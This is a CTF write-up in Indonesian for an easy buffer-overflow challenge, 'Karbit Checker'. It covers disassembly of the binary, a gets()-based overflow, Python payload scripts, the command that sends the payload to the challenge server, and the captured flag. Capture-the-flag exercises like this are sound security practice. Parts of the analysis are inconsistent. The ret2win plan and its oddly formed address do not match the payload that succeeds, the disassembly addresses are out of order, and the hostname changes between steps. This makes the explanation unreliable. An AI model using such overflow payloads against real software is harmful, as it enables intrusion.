

Karbit Checker

Player: Constantine

Kategori: Pwn / Binary Exploitation

The screenshot shows a challenge card for 'Karbit Checker'. At the top left is a red-bordered button labeled 'Challenge'. To its right is the text '20 Solves' and a small red 'X' icon. The challenge title 'Karbit Checker' is centered above a score of '290'. A blue button labeled 'Easy' is positioned below the score. The challenge description reads: 'Yang karbit karbit ajah'. Below the description, the author is listed as 'BbayuGt'. A command to download the challenge binary is provided: 'ncat bitkarbit.ctf.forestlab.com 5000 --ssl'. A blue download button with a downward arrow and the text 'karbit' is shown. At the bottom, there are two buttons: 'Flag' on the left and 'Submit' on the right.

Phase 1: Recon

Hal pertama tentu disassembly & dynamic recon.

Objdump: cek ada fungsi misterius

objdump -d karbit | grep -A3 give_flag

```
constantine ~/0precForesty/Karbit (solved) v3.13.7 14:02 > objdump -d karbit | grep -A10 give_flag
0000000000001199 <give_flag>:
1199: 55                      push   %rbp
119a: 48 89 e5                mov    %rsp,%rbp
119d: 48 8d 05 60 0e 00 00    lea    0xe60(%rip),%rax      # 2004 <_IO_stdin_used+0x4>
11a4: 48 89 c7                mov    %rax,%rdi
11a7: e8 a4 fe ff ff        call   1050 <system@plt>
11ac: 90                      nop
11ad: 5d                      pop    %rbp
11ae: c3                      ret
```

Keliatan fungsi `give_flag` berisi:

- load string ke RAX
- move ke RDI
- call `system@plt`

Artinya:

kalau berhasil dipanggil → binary nge-cat flag.txt otomatis.

Phase 2: Analisis Main

Dari **gdb** kelihatan:

```
(gdb) disassemble main
Dump of assembler code for function main:
0x000000000000011af <+0>:    push   %rbp
0x000000000000011b0 <+1>:    mov    %rsp,%rbp
0x000000000000011b3 <+4>:    sub    $0x70,%rsp
0x000000000000011b7 <+8>:    mov    %edi,-0x64(%rbp)
0x000000000000011ba <+11>:   mov    %rsi,-0x70(%rbp)
0x000000000000011be <+15>:   movq   $0x0,-0x20(%rbp)
0x000000000000011c6 <+23>:   movq   $0x0,-0x18(%rbp)
0x000000000000011ce <+31>:   movq   $0x0,-0x10(%rbp)
0x000000000000011d6 <+39>:   movq   $0x0,-0x8(%rbp)
0x000000000000011de <+47>:   lea    0xe2c(%rip),%rax      # 0x2011
0x000000000000011e5 <+54>:   mov    %rax,%rdi
0x000000000000011e8 <+57>:   mov    $0x0,%eax
0x000000000000011ed <+62>:   call   0x1060 <printf@plt>
0x000000000000011f2 <+67>:   mov    0x2e4f(%rip),%rax      # 0x4048 <stdout@GLIBC_2.2.5>
0x000000000000011f9 <+74>:   mov    %rax,%rdi
0x000000000000011fc <+77>:   call   0x1090 <fflush@plt>
0x0000000000000120f <+82>:   lea    -0x60(%rbp),%rax
0x00000000000001205 <+86>:   mov    %rax,%rdi
0x00000000000001208 <+89>:   call   0x1080 <gets@plt>
0x0000000000000120d <+94>:   lea    0xe15(%rip),%rcx      # 0x2029
0x00000000000001214 <+101>:  lea    -0x60(%rbp),%rax
0x00000000000001218 <+105>:  mov    $0x6,%edx
0x0000000000000121d <+110>:  mov    %rcx,%rsi
0x00000000000001220 <+113>:  mov    %rax,%rdi
0x00000000000001223 <+116>:  call   0x1030 <strncmp@plt>
0x00000000000001228 <+121>:  test   %eax,%eax
0x0000000000000122a <+123>:  je    0x1242 <main+147>
0x0000000000000122c <+125>:  lea    0xdfd(%rip),%rax      # 0x2030
0x00000000000001233 <+132>:  mov    %rax,%rdi
0x00000000000001236 <+135>:  call   0x1040 <puts@plt>
0x0000000000000123b <+140>:  mov    $0x0,%eax
0x00000000000001240 <+145>:  jmp   0x128b <main+220>
0x00000000000001242 <+147>:  lea    0xdfa(%rip),%rdx      # 0x2043
0x00000000000001249 <+154>:  lea    -0x20(%rbp),%rax
0x0000000000000124d <+158>:  mov    %rdx,%rsi
0x00000000000001250 <+161>:  mov    %rax,%rdi
0x00000000000001253 <+164>:  call   0x1070 <strcmp@plt>
0x00000000000001258 <+169>:  test   %eax,%eax
0x0000000000000125a <+171>:  jne   0x1277 <main+200>
0x0000000000000125c <+173>:  lea    0xdf7(%rip),%rax      # 0x205a
0x00000000000001263 <+180>:  mov    %rax,%rdi
0x00000000000001266 <+183>:  call   0x1040 <puts@plt>
0x0000000000000126b <+188>:  mov    $0x0,%eax
0x00000000000001270 <+193>:  call   0x1199 <give_flag>
0x00000000000001275 <+198>:  jmp   0x1286 <main+215>
0x00000000000001277 <+200>:  lea    0xde7(%rip),%rax      # 0x2065
0x0000000000000127e <+207>:  mov    %rax,%rdi
0x00000000000001281 <+210>:  call   0x1040 <puts@plt>
0x00000000000001286 <+215>:  mov    $0x0,%eax
0x0000000000000128b <+220>:  leave
0x0000000000000128f <+221>:  ret
```

1. Print banner

2. `gets()` untuk input
3. Bandingin input sama string
4. Kalau input benar → lanjut

Menurut ChatGPT yang paling penting:

`gets(buffer) // vuln utama`

`gets()` = tanpa batasan panjang → bisa overwrite return address.

Jadi, strategi kita:

Overwrite RIP → arahkan ke `give_flag`.

Phase 3: Nyari Offset BOF

Setelah Phase 2 memastikan bahwa:

- input dibaca dengan `gets()`
- buffer punya ukuran **64 bytes** (`rbp - 0x40`)
- return address berada **8 byte setelah saved RBP**
- `give_flag()` berada di alamat **0x55555555199** (alamatmu bisa beda, tergantung ASLR/PIE)

Maka tinggal lakukan Ret2Win. Format payload-nya cuma:

```
[64 byte padding] + [8 byte overwrite RIP → alamat give_flag]
```

Atau dalam Python:

```
payload = b"A"*64
payload += b"B"*8          # overwrite RBP (filler)
payload += p64(0x55555555199)  # alamat give_flag
print(payload)
```

```
import sys
payload = b"Waguri"
payload += b"A" * 58
```

```
payload += b"bete bat gw ada karbit"
payload += b"\n"
sys.stdout.buffer.write(payload)
```

Setelah testing payload, binary server **tidak ngeprint output setelah prompt** jika input datang terlalu cepat. Jadi aku **kasih delay kecil sebelum payload dikirim**. Cara yang berhasil waktu testing yaitu pakai subshell + sleep:

```
begin
    python3 poc.py
    sleep 2
end | nc bitkarbit.ctf.forestylab.com 5000 --ssl
```

Output di server:



```
constantine ~/0precForestry/Karbit (solved) v3.13.7 14:16 > begin
    python3 poc.py
    sleep 2
end | nc bitkarbit
Karbit checker!
Waifu: FORESTY{woi_karbit_42b075ae85655cc75ea3de0802945d3b223c7a9d4a03a4ec901899e257f471d2}
Bit karbit
```

Flagnya:

FORESTY{woi_karbit_42b075ae85655cc75ea3de0802945d3b223c7a9d4a03a4ec901899e257f471d2}